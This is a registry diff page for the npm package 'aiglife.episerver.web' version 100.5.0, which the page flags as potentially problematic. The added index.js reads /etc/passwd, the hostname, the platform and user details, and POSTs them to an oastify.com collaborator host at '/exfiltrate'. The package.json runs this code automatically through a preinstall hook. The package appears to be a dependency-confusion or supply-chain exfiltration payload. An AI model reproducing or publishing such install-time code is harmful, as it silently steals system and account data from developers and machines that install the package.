aiglife.episerver.web 100.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aiglife.episerver.web might be problematic. Click here for more details.
- package/index.js +38 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
// Read the /etc/passwd file
|
|
6
|
+
const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
|
|
7
|
+
|
|
8
|
+
// Create a data object with system information and /etc/passwd content
|
|
9
|
+
const data = JSON.stringify({
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
platform: os.platform(),
|
|
12
|
+
userInfo: os.userInfo(),
|
|
13
|
+
passwd: passwdData
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
const options = {
|
|
17
|
+
hostname: 'e0fnegkjyty44tpx2wq6d1488zeq2gq5.oastify.com', # server que vai receber, qualquer um até burp collab
|
|
18
|
+
port: 443,
|
|
19
|
+
path: '/exfiltrate',
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: {
|
|
22
|
+
'Content-Type': 'application/json',
|
|
23
|
+
'Content-Length': Buffer.byteLength(data)
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
const req = https.request(options, (res) => {
|
|
28
|
+
res.on('data', (d) => {
|
|
29
|
+
process.stdout.write(d);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
req.on('error', (e) => {
|
|
34
|
+
console.error(e);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
req.write(data);
|
|
38
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "aiglife.episerver.web",
|
|
3
|
+
"version": "100.5.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"description": ""
|
|
13
|
+
}
|